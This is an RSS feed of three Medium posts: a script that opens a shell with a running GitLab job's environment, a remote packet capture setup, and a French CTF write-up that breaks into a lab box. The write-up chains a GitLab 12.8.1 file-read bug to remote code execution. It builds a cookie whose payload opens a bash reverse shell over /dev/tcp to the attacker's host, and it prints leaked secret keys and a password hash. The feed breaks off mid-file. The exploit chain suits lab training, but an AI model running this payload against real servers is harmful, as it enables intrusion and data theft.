<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by FrancoisD on Medium]]></title>
        <description><![CDATA[Stories by FrancoisD on Medium]]></description>
        <link>https://medium.com/@F.DL?source=rss-16372dc060b9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*f6ftlwIGXSEbPAo7uJR62g.png</url>
            <title>Stories by FrancoisD on Medium</title>
            <link>https://medium.com/@F.DL?source=rss-16372dc060b9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 19 May 2026 04:02:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@F.DL/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Debugging a live GitLab job using its real environment]]></title>
            <link>https://medium.com/@F.DL/debugging-a-live-gitlab-job-using-its-real-environment-458c9c3a3e0b?source=rss-16372dc060b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/458c9c3a3e0b</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <category><![CDATA[gitlab]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[FrancoisD]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 15:36:54 GMT</pubDate>
            <atom:updated>2025-11-03T15:37:48.172Z</atom:updated>
            <content:encoded><![CDATA[<p>When a GitLab job fails, re-running it again and again doesn’t always help.<br> Sometimes you just want to jump inside the job while it’s still running, see the same environment, and test things directly.</p><p>That’s what this small Python script does — it opens a shell with the exact same environment variables as the job process.</p><pre>#!/usr/bin/env python3<br>import sys<br>import os<br><br>def main():<br>    if len(sys.argv) != 3:<br>        print(f&quot;&quot;&quot;<br>        Usage : env-from [pid of pipeline process] [command]<br>        Ex: env-from 29 /bin/bash<br>        &quot;&quot;&quot;)<br>        exit(1)<br>    else:<br>        pid = sys.argv[1]<br>        command = sys.argv[2]<br>        proc_file = &quot;/proc/{}/environ&quot;.format(pid)<br><br>    env = {}<br>    with open(proc_file,&quot;r&quot;) as env_file:<br>        for envvar in env_file.read().split(&#39;\000&#39;):<br>            if not envvar:<br>                continue<br>            name,value=envvar.split(&#39;=&#39;,1)<br>            env[name]=value<br>    env[&quot;TERM&quot;] = &quot;xterm-256color&quot;<br>    os.execvpe(command, [command], env)<br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><h3>What it does</h3><p>It reads /proc/&lt;pid&gt;/environ (where Linux stores all environment variables for a process) and then starts a new command — usually /bin/bash — using that same environment.</p><p>So when you run:</p><pre>./env-from 1234 /bin/bash</pre><p>You basically get a shell <em>inside the same environment</em> as the running job.<br> All variables (CI_, PATH, secrets, etc.) are there.</p><h3>Why I use it</h3><ul><li>To debug live GitLab jobs without restarting them.</li><li>To see the real env used by the runner — not what I think it is.</li><li>To test a command exactly like GitLab does, but interactively.</li></ul><p>It’s super useful when something works locally but not in CI.</p><h3>Example</h3><p>1.Find the process ID of your job:</p><pre>ps aux | grep my-job-script</pre><p>2.Run the script:</p><pre>sudo ./env-from 456 /bin/bash</pre><p>3. You’re now “inside” the job.</p><p>You can check variables, try the same commands, etc.</p><h3>A few notes</h3><ul><li>You need permission to read /proc/&lt;pid&gt;/environ (root or same user).</li><li>Inside containers, the PID might be different from the host one.</li><li>It will show <strong>secrets</strong> — be careful.</li></ul><h3>TL;DR</h3><p>This script is just a small hack, but it saves time.<br>Instead of guessing what the GitLab job sees, I can just <em>see it</em>.</p><p>That’s the whole idea — nothing fancy, just practical.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=458c9c3a3e0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Packet Capture with rpcapd and tcpdump in Docker]]></title>
            <link>https://medium.com/@F.DL/remote-packet-capture-with-rpcapd-and-tcpdump-in-docker-da61b73cf1c1?source=rss-16372dc060b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/da61b73cf1c1</guid>
            <category><![CDATA[pcap]]></category>
            <category><![CDATA[tcpdump]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[network]]></category>
            <dc:creator><![CDATA[FrancoisD]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 14:55:13 GMT</pubDate>
            <atom:updated>2025-07-30T14:59:09.252Z</atom:updated>
            <content:encoded><![CDATA[<p>If you need to capture packets remotely using tcpdump, the rpcapd daemon from the libpcap project allows you to expose a network interface over the network.</p><h3>rpcapd</h3><pre>socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE) = 3   <br>bind(3, {sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 12) = 0<br>getsockname(3, {sa_family=AF_NETLINK, nl_pid=3830233, nl_groups=00000000}, [12]) = 0 <br><br>socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3<br>bind(3, {sa_family=AF_INET, sin_port=htons(9998), sin_addr=inet_addr(&quot;0.0.0.0&quot;)}, 16) = 0<br>listen(3, 10)<br># after starting a clien we find <br>pselect6(4, [3], NULL, NULL, NULL, NULL<br><br>) = 1 (in [3])<br>accept(3, {sa_family=AF_INET, sin_port=htons(44634), sin_addr=inet_addr(&quot;10.214.198.167&quot;)}, [128 =&gt; 16]) = 4 # Data port == 44634<br>clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7b2bceafdb50) = 1796814<br>close(4)                                = 0<br>pselect6(4, [3], NULL, NULL, NULL, NULL) = ? ERESTARTNOHAND (To be restarted if no handler)</pre><p>When rpcapd is started, the server initializes two sockets:<br> – a <strong>Netlink socket</strong> (AF_NETLINK) to query the kernel for available network interfaces<br> – a <strong>TCP socket</strong> (AF_INET, default port 9998) to listen for incoming client connections.</p><p>Once running, rpcapd waits for connections on this port. When a client (such as tcpdump using rpcap://) connects, the server <strong>accepts the connection</strong>, assigns a <strong>dynamic data port (here 44634)</strong> for the session, and then <strong>forks a child process</strong> to handle the capture.</p><p>The original socket continues listening for other incoming connections.</p><h3>1. Clone and compile TCPDUMP with the correct libpcap</h3><pre>apt-get update<br>apt install -y libnl-3-dev libnl-genl-3-dev build-essential bison flex autoconf automake libtool<br>git clone https://github.com/the-tcpdump-group/libpcap.git <br>cd libpcap <br>./autogen.sh<br>./configure --enable-remote <br>make <br>make install</pre><p><strong>rpcapd </strong>is present in libpcap since version 1.9 or 1.10</p><p>Once you have the right <strong>libpcap </strong>built you can compile the <strong>tcpdump client</strong></p><pre>cd .. <br>git clone https://github.com/the-tcpdump-group/tcpdump.git <br>cd tcpdump <br>./configure \   <br>CPPFLAGS=&quot;-I/usr/local/include&quot; \   <br>LDFLAGS=&quot;-L/usr/local/lib&quot; <br>make <br>make install</pre><h3>2. rpcapd container</h3><p><strong>Note</strong>: libpcap does not need to be compiled for a specific kernel.</p><p>It interacts with the kernel using standard system calls (e.g., PF_PACKET, BPF), so it can be built inside a container independently from the host, as long as:</p><ol><li>The image matches the host architecture (e.g., amd64).</li><li>The container has access to the appropriate network interfaces.</li></ol><pre><br>FROM ubuntu:22.04 AS builder<br>ENV DEBIAN_FRONTEND=noninteractive<br>RUN apt update &amp;&amp; apt install -y \<br>    git build-essential bison flex autoconf automake libtool \<br>    &amp;&amp; git clone https://github.com/the-tcpdump-group/libpcap.git /libpcap \<br>    &amp;&amp; cd /libpcap \<br>    &amp;&amp; ./autogen.sh \<br>    &amp;&amp; ./configure --enable-remote \<br>    &amp;&amp; make \<br>    &amp;&amp; make install<br><br>FROM ubuntu:22.04<br>COPY --from=builder /libpcap/rpcapd/rpcapd /usr/local/bin/rpcapd<br>ENTRYPOINT [&quot;/usr/local/bin/rpcapd&quot;]<br>CMD [&quot;-n&quot;, &quot;-b&quot;, &quot;0.0.0.0&quot;, &quot;-p&quot;, &quot;9998&quot;, &quot;-t&quot;, &quot;9999&quot;]</pre><ol><li><strong>Clone and compile </strong><strong>libpcap (including </strong><strong>rpcapd) inside the Docker image.</strong></li><li><strong>Start </strong><strong>rpcapd from within the container</strong></li><li>Access to network interfaces is only possible <strong>if the container has the proper permissions</strong> (e.g., --cap-add=NET_ADMIN, --network=host, or --privileged, depending on the use case).</li></ol><pre>./tcpdump -nei rpcap://10.0.0.1:9998/eno1<br>(tcpdump: verbose output suppressed, use -v[v]... for full protocol decode<br>listening on rpcap://10.0.0.1:9998/eno1, link-type EN10MB (Ethernet), snapshot length 262144 bytes<br><br>16:49:10.081058 aa:bb:cc:dd:ee:01 &gt; aa:bb:cc:dd:ee:02, ethertype IPv4 (0x0800), length 82:<br>10.0.0.1.9998 &gt; 10.0.0.2.51168: Flags [P.], seq 1459515777:1459515793, ack 3078274901, win 509,<br>options [nop,nop,TS val 3771862344 ecr 1955610770], length 16<br><br>16:49:10.081761 aa:bb:cc:dd:ee:03 &gt; aa:bb:cc:dd:ee:01, ethertype IPv4 (0x0800), length 74:<br>10.0.0.2.35738 &gt; 10.0.0.1.46015: Flags [S], seq 1165126055, win 64240,<br>options [mss 1460,sackOK,TS val 1955610788 ecr 0,nop,wscale 7], length 0<br><br>16:49:10.081828 aa:bb:cc:dd:ee:01 &gt; aa:bb:cc:dd:ee:02, ethertype IPv4 (0x0800), length 74:<br>10.0.0.1 &gt; ...</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da61b73cf1c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Laboratory Writeup — Gitlab CVE et  Docker Breakout]]></title>
            <link>https://medium.com/@F.DL/laboratory-writeup-gitlab-cve-et-docker-breakout-70f55cb41406?source=rss-16372dc060b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/70f55cb41406</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[gitlab]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[FrancoisD]]></dc:creator>
            <pubDate>Fri, 15 Sep 2023 09:59:12 GMT</pubDate>
            <atom:updated>2023-09-15T09:59:12.353Z</atom:updated>
            <content:encoded><![CDATA[<h3>Laboratory Writeup — Gitlab CVE et Docker Breakout</h3><h3>Laboratory</h3><p>Laboratory est un CTF orienté Docker. Il permet d’apprendre les bases sur le container breakout.</p><h3>Reconnaissance</h3><pre>{13:44}/netsec/box/Laboratory ➭ nmap -sV -sC  192.168.1.19<br>Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 13:44 CEST<br>Nmap scan report for lab (192.168.1.19)<br>Host is up (0.00039s latency).<br>Not shown: 998 closed ports<br>PORT     STATE SERVICE    VERSION<br>22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 62:71:bc:a8:96:62:46:f4:56:62:4e:60:b7:98:3b:18 (RSA)<br>|   256 d9:08:ab:a1:1b:b9:48:46:6c:75:ce:7b:9f:b6:8d:7a (ECDSA)<br>|_  256 74:27:1f:30:f5:1b:f0:98:d1:60:96:03:e1:c7:3f:14 (ED25519)<br>3128/tcp open  http-proxy Squid http proxy 4.6<br>|_http-server-header: squid/4.6<br>|_http-title: ERROR: The requested URL could not be retrieved<br>MAC Address: 00:0C:29:A6:69:6F (VMware)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 12.04 seconds</pre><p>On remarque du Debian 10. Une version d’SSH sans CVE connue et un proxy Squid.</p><h3>Squid</h3><p>L’objectif est de trouver les différents domaine qui ont été requêtés via le Squid. <br>Soit on lance une énum sur les ports du localhost en passant par le proxy soit on cherche les domaines direct dans la configuration de Squid.</p><p>Dans notre cas les services tournent sur un réseau docker interne donc il faut aller chercher la configuration de Squid.<br>Heureusement celle-ci est accessible suite à une mauvaise configuration et un manque d’authentification.</p><h4><strong>Première Solution</strong></h4><pre>{13:58}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://192.168.1.19:3128/squid-internal-mgr/menu -I<br><br>HTTP/1.1 403 Forbidden<br>Server: squid/4.6<br>Mime-Version: 1.0<br>Date: Fri, 25 Jun 2021 11:58:31 GMT<br>Content-Type: text/html;charset=utf-8<br>Content-Length: 3669<br>X-Squid-Error: ERR_ACCESS_DENIED 0<br>Vary: Accept-Language<br>Content-Language: en<br>X-Cache: MISS from Lab<br>X-Cache-Lookup: MISS from Lab:3128<br>X-Cache: MISS from Lab<br>X-Cache-Lookup: MISS from Lab:3128<br>Via: 1.1 Lab (squid/4.6), 1.1 Lab (squid/4.6)<br>Connection: keep-alive</pre><p>Lorsqu’on essaie de joindre notre Squid nous avons un 403. Pour joindre le cache manager il faut communiquer avec le hostname.</p><p>Le hostname est renseigné dans le nmap ou alors on peut le retrouver via la table ARP de notre kali :</p><pre>{14:14}/netsec/box/Laboratory ➭ arp 192.168.1.19 <br>Adresse     TypeMap AdresseMat          Indicateurs           Iface<br>lab         ether   00:0c:29:a6:69:6f   C                     eth0</pre><pre>{14:10}/netsec/box/Laboratory ➭ nmap -R  192.168.1.19<br>Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 14:10 CEST<br>Nmap scan report for lab (192.168.1.19)       <br>Host is up (0.00046s latency).<br>Not shown: 998 closed ports <br>PORT     STATE SERVICE             <br>22/tcp   open  ssh<br>3128/tcp open  squid-http  <br>MAC Address: 00:0C:29:A6:69:6F (VMware)<br>          <br>Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds</pre><p>Donc maintenant qu’on a le hostname on peut taper sur le Squid pour récupérer la liste des domaines accéssible depuis le proxy :</p><pre>{14:17}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://lab:3128/squid-internal-mgr/menu -I<br>HTTP/1.1 200 OK<br>Server: squid/4.6<br>Mime-Version: 1.0<br>Date: Fri, 25 Jun 2021 12:17:17 GMT<br>Content-Type: text/plain;charset=utf-8<br>Expires: Fri, 25 Jun 2021 12:17:17 GMT<br>Last-Modified: Fri, 25 Jun 2021 12:17:17 GMT<br>X-Cache: MISS from Lab<br>X-Cache-Lookup: MISS from Lab:3128<br>Via: 1.1 Lab (squid/4.6)<br>Connection: keep-alive</pre><pre>{14:18}/netsec/box/Laboratory ➭ curl -x http://192.168.1.19:3128 http://lab:3128/squid-internal-mgr/fqdncache<br>FQDN Cache Statistics:<br>FQDNcache Entries In Use: 8<br>FQDNcache Entries Cached: 8<br>FQDNcache Requests: 127<br>FQDNcache Hits: 105<br>FQDNcache Negative Hits: 0<br>FQDNcache Misses: 22<br>FQDN Cache Contents:<br><br>Address                                       Flg TTL Cnt Hostnames<br>127.0.1.1                                       H -001   2 lab.ctf lab<br>192.168.1.37                                      051   1 kali.home<br>::1                                             H -001   3 localhost ip6-localhost ip6-loopback<br>127.0.0.1                                       H -001   1 localhost<br>ff02::1                                         H -001   1 ip6-allnodes<br>ff02::2                                         H -001   1 ip6-allrouters<br>172.19.0.2                                      H -001   1 gitlab.laboratory.ctf</pre><p>On peut voir qu’il y a une URL Gitlab accessible depuis le Squid.</p><h4><strong>Deuxième Solution</strong><br>On peut passer par un squidclient directement, de cette manière il n’y a pas besoin du hostname et l’IP suffit :</h4><pre>squidclient -h 192.168.1.19 mgr:fqdncache</pre><h3>Gitlab</h3><h4>Version 12.8.1 LFI</h4><p>Première étape est de se créer un compte sur le Gitlab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/0*wGBK_Og7s6NJ-hMk" /><figcaption>Creation d’un compte sur Gitlab</figcaption></figure><p>Ensuite, il faut aller vérifier la version du Gitlab pour vérifier les différents exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*EfI80Jo_EpLXTZGh" /><figcaption>Gitlab Version</figcaption></figure><p>Certains exploit sont 100% automatisés mais voici un compte rendu de l’exploit utilisé : <a href="https://hackerone.com/reports/827052">https://hackerone.com/reports/827052</a> (Bounty de 20 000$ versé par Gitlab)</p><p>Cette LFI nous permettra d’aller chercher le fichier secret.yml qui possède la clef privé de Gitlab.</p><p>Tout d’abord il faut créer 2 projets, ici sourceet dest:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*2z808pYyMxKN-2-d" /></figure><p>Ensuite, dans un des projets il va falloir créer une issue :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*wAAn_A1sOqhS8J58" /></figure><p>Selon l’exploit, le déplacement des issues ne valide pas le nom des fichiers par une bonne Regex. Nous pouvons donc pousser un asbsolut path pour aller chercher n’importe quel fichier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*sj6tMQibS2mfzLCp" /></figure><p>Nous allons donc déplacement l’issue fraîchement crée dans le second projet :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*-ZZ6go3XXjSFP2FL" /></figure><p>Nous retrouvons bien le fichier /etc/passwd dans l&#39;issue déplacée :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/0*7JsgCBWHyU_CPk-z" /></figure><p>Maintenant que nous avons identifié la vulnérabilité il va falloir l’utiliser pour monter une RCE sur le serveur Gitlab.</p><h4>Exploit RCE</h4><p>La RCE se fait donc via la LFI. Il faut télécharger de la même manière vu précédente le fichier : opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*eovuy-zXn8AduVjA" /></figure><p>Après avoir télécharger le secret.yml de Gitlab :</p><pre>{15:24}/netsec/box/Laboratory ➭ mv /home/allta/secrets.yml .                                                                                                    <br>{15:24}/netsec/box/Laboratory ➭ cat secrets.yml                     <br># This file is managed by gitlab-ctl. Manual changes will be        <br># erased! To change the contents below, edit /etc/gitlab/gitlab.rb  <br># and run `sudo gitlab-ctl reconfigure`.                            <br>                                                                               <br>---                                                                 <br>production:                                                         <br>  db_key_base: ccf25bec2aeaf17fdf681091776a0c21fb742921a0cceda163fce14c1b65cb0012e9d3606dff28e4f8688083820590684beb0bf8c65c75cfde9b79dcd844490d<br>  secret_key_base: f96c6e7ac4e9a0292ecca26f716054b1e82263c07bd21b71ea9631262225bd67b1e27ac68ba94d49e5018e43e6fc2da278929f89299227f930cd902e8cae263d<br>  otp_key_base: 661110e2fc938ab305f28db2e038fc0467beb7a392211e27f711ede46e9233fb9736b3ba0ad216061dfc4f38513c6043abec3efaa66d6ce26093d83656719837<br>  openid_connect_signing_key: |<br>    -----BEGIN RSA PRIVATE KEY-----<br>    MIIJKgIBAAKCAgEAtaEEQoreuAdPPHl57wHFCbFIatfFlNp5fxtg9fUcfy4Pj3y6<br>    S2iCHOlr+Rw6NGKLLMOtSl9WqVf8uDP5UxAPdQa+tkfp2EJnJmsyY/2DLodoNdEk<br>    Z/DjZZ+zTg/6ZTBsSskeoaMp4KeZcVj+dxRQGuh0NZUcsBPHvEu/4HPhQsjGtJza<br>    WB68q+qgHCtikNIMos+5BkJQLbkKbw76lxkSu2adQutSvg9uK/g+gkujz6BZ6+Un<br><br></pre><h4>Creation du payload</h4><p>Pour générer notre payload il va falloir le créer à l’aide de la clef privée récupéré via la LFI. Pour cela il faut monter un gitlab de même version et y remplacer la clef générée par celle récupérée. Le meilleur moyen de monter un Gitlab rapidement et avec la bonne version est via Docker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*D57IoWy28q2tRf1L" /></figure><pre>{15:24}/netsec/box/Laboratory ➭ docker pull gitlab/gitlab-ce:12.8.1-ce.0<br>12.8.1-ce.0: Pulling from gitlab/gitlab-ce<br>fe703b657a32: Pull complete <br>f9df1fafd224: Pull complete <br>a645a4b887f9: Pull complete <br>57db7fe0b522: Pull complete <br>7c1fdc95f4c9: Pull complete <br>efff5e3fbef4: Pull complete <br>cd352b2b7d4b: Pull complete <br>9cfdfa991813: Pull complete <br>27f887c2ede5: Pull complete <br>68b87e2fd6a0: Pull complete <br>Digest: sha256:01325161649a28155d8857e4f47462d2bf9406d612c11b8929d2482bfba3ad32<br>Status: Downloaded newer image for gitlab/gitlab-ce:12.8.1-ce.0<br>docker.io/gitlab/gitlab-ce:12.8.1-ce.0<br><br>{15:24}/netsec/box/Laboratory ➭ docker run --rm -d 719e7e45b1e2<br>8d3027edf640a3849d9c127ca512809736d498de5c8895379013bda26b1385b1<br>{15:24}/netsec/box/Laboratory ➭ docker ps -a<br>CONTAINER ID   IMAGE          COMMAND             CREATED         STATUS                            PORTS                     NAMES<br>8d3027edf640   719e7e45b1e2   &quot;/assets/wrapper&quot;   3 seconds ago   Up 2 seconds (health: starting)   22/tcp, 80/tcp, 443/tcp   heuristic_leavitt<br>{15:24}/netsec/box/Laboratory ➭ docker exec -ti 8d3 bash<br>root@8d3027edf640:/# </pre><p>On remplace la secret_key_base de /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml dans le même fichier dans le container Gitlab. Pensez bien à restart les services gitlab et ouvrir un listener : nc -lvnp 9999</p><pre><br>root@8d3027edf640:/# gitlab-ctl restart<br>root@8d3027edf640:/# gitlab-rails console<br><br>request = ActionDispatch::Request.new(Rails.application.env_config)<br>request.env[&quot;action_dispatch.cookies_serializer&quot;] = :marshal<br>cookies = request.cookie_jar<br><br>erb = ERB.new(&quot;&lt;%= `bash -c &#39;bash -i &gt;&amp; /dev/tcp/192.168.1.37/9999 0&gt;&amp;1&#39;` %&gt;&quot;)<br>depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, &quot;@result&quot;, ActiveSupport::Deprecation.new)<br>cookies.signed[:cookie] = depr<br>puts cookies[:cookie]</pre><p>Une fois le cookie crée :</p><pre>curl -k -x http://192.168.1.39:3128 &#39;http://gitlab.laboratory.ctf/users/sign_in&#39; -b &quot;experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIHZha3p6IHdhcyBoZXJlID4gL3RtcC92YWt6emAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpUOglAdmFySSIMQHJlc3VsdAY7ClQ=--ef9c244a1f6b4724c1d3cbf045f8ee28a42d4b06&quot;</pre><p>Nous avons donc un shell en tant que gitsur le container gitlab. Pour vérifier que nous sommes dans un container, on peut vérifier les cgroups du premier processus ou de self.</p><p><strong>Deuxième solution</strong> pour le RCE Il existe un script qui automatise toute la partie vue ci-dessus : <a href="https://github.com/dotPY-hax/gitlab_RCE">https://github.com/dotPY-hax/gitlab_RCE</a> Il est nécéssaire de le modifier pour aller taper sur le Squid et désactiver la vérification de certificat SSL auto-signé.</p><pre>{15:33}/netsec/box/Laboratory ➭ python3 gitlab_rce.py https://gitlab.laboratory.ctf 192.168.1.37<br>Gitlab Exploit by dotPY [insert fancy ascii art]<br>registering auy1SeqvF6:04mD45pYMk - 200<br>Getting version of https://gitlab.laboratory.ctf - 200<br>The Version seems to be 12.8.1! Choose wisely<br>delete user auy1SeqvF6 - 200<br>[0] - GitlabRCE1147 - RCE for Version &lt;=11.4.7<br>[1] - GitlabRCE1281LFIUser - LFI for version 10.4-12.8.1 and maybe more<br>[2] - GitlabRCE1281RCE - RCE for version 12.4.0-12.8.1 - !!RUBY REVERSE SHELL IS VERY UNRELIABLE!! WIP<br>type a number and hit enter to choose exploit: 2<br>Start a listener on port 42069 and hit enter (nc -vlnp 42069)<br>registering ILMgLy6G55:ZsBDvY8C9k - 200<br>creating project soOIauiULL - 200<br>creating project 3VzymEcL6y - 200<br>creating issue ZRzosgObR2 for project soOIauiULL - 200<br>moving issue from soOIauiULL to 3VzymEcL6y - 200<br>Grabbing file secrets.yml<br>deploying payload - 500<br>delete user ILMgLy6G55 - 200</pre><p>On confirme que le Gitlab tourne dans un container Docker :</p><pre>git@gitlab:/$ cat /proc/self/cgroup <br>13:rdma:/<br>12:pids:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>11:hugetlb:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>10:net_prio:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>9:perf_event:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>8:net_cls:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>7:freezer:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>6:devices:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>5:memory:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>4:blkio:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>3:cpuacct:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>2:cpu:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>1:cpuset:/docker/7da00bd74e4f73c8caf99406e163083a6489c90451dd09883390a551fd2696cb<br>0::/</pre><h4>Devenir administrateur du gitlab</h4><p>Maintenant que nous avons accès à la console gitlab nous pouvons donner les droits d’administrateur à notre user gitlab <a href="https://docs.gitlab.com/ee/administration/troubleshooting/gitlab_rails_cheat_sheet.html">gitlab console CheatSheet</a></p><pre>git@gitlab:/$ gitlab-rails console<br><br>irb(main):013:0&gt; u=User.find_by_username(&#39;allta&#39;)                                                                                                               <br>=&gt; #&lt;User id:36 @allta&gt;  <br>irb(main):014:0&gt; pp u.attributes<br>{&quot;id&quot;=&gt;36,         <br> &quot;email&quot;=&gt;&quot;allta@rocks.al&quot;,  <br> &quot;encrypted_password&quot;=&gt;<br>  &quot;$2a$10$9ZDZTCE0QjJArIL8WoIHBulQyqzad7Iv/TN5LvbkwCxgUbLeCPRAG&quot;,<br> &quot;reset_password_token&quot;=&gt;nil,       <br> &quot;reset_password_sent_at&quot;=&gt;nil,<br> &quot;remember_created_at&quot;=&gt;nil,                         <br> &quot;sign_in_count&quot;=&gt;2, <br> &quot;current_sign_in_at&quot;=&gt;Tue, 29 Jun 2021 14:43:31 UTC +00:00,<br> &quot;last_sign_in_at&quot;=&gt;Thu, 24 Jun 2021 21:32:06 UTC +00:00,<br> &quot;current_sign_in_ip&quot;=&gt;&quot;172.19.0.1&quot;,<br> &quot;last_sign_in_ip&quot;=&gt;&quot;172.19.0.1&quot;,<br> &quot;created_at&quot;=&gt;Thu, 24 Jun 2021 21:32:06 UTC +00:00,<br> &quot;updated_at&quot;=&gt;Tue, 29 Jun 2021 14:43:31 UTC +00:00,<br> &quot;name&quot;=&gt;&quot;allta&quot;,           <br> &quot;admin&quot;=&gt;false,    <br> <br>irb(main):020:0&gt; u.admin=true<br>=&gt; true     <br>irb(main):021:0&gt; u.save!<br>=&gt; true</pre><h4>User Dexter</h4><p>Maintenant que nous sommes admin sur le gitlab nous avons accès à la partie Administration ainsi que tout les projets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Mxfg5p1JtcR-OVZK" /></figure><p>Cliquez sur Projects:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*TAkg1BkZuFmoYoVt" /></figure><p>Et naviguez jusqu’au projet de Dexter :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Jy9ILJt16-966LcJ" /></figure><p>On se rajoute en tant que Maintenairsur le projet pour pouvoir accéder et lire les fichiers :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*Q2gerFLCcfI7AWLP" /></figure><p>Dans le projet de Dexter on trouve une clef privée :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/0*kpRpyBNeg9XZheyZ" /></figure><p>On peut ainsi se connecter en tant que Dextersur la box en utilisant la clef SSH :</p><pre>{17:02}/netsec/Laboratoire/Laboratory:master ✗ ➭ ssh -i id_rsa dexter@192.168.1.19</pre><h3>Container Lateral Escape</h3><p>On peut voir que le container dns_proxy_server est paramétré pour partager son PID Namespace avec le container gitlab. Les processus des 2 containers sont donc visibles par l&#39;un ou l&#39;autre.</p><pre>dexter@Lab:/opt$ cat dps/docker-compose.yml <br>version: &#39;3&#39;<br>services:<br>    dps:<br>      image: dns_proxy_server<br>      environment:<br>        - MG_REGISTER_CONTAINER_NAMES=1<br>      volumes:<br>        - /var/run/docker.sock:/var/run/docker.sock<br>      pid: container:gitlab<br>      command: &quot;/app/dns-proxy-server&quot;<br>      networks:<br>        - dps<br>networks:<br>  dps:<br>    external: true<br><br><br><br>dexter@Lab:/opt$ cat gitlab/docker-compose.yml<br>version: &#39;3&#39;<br>services:<br>  web:<br>    image: 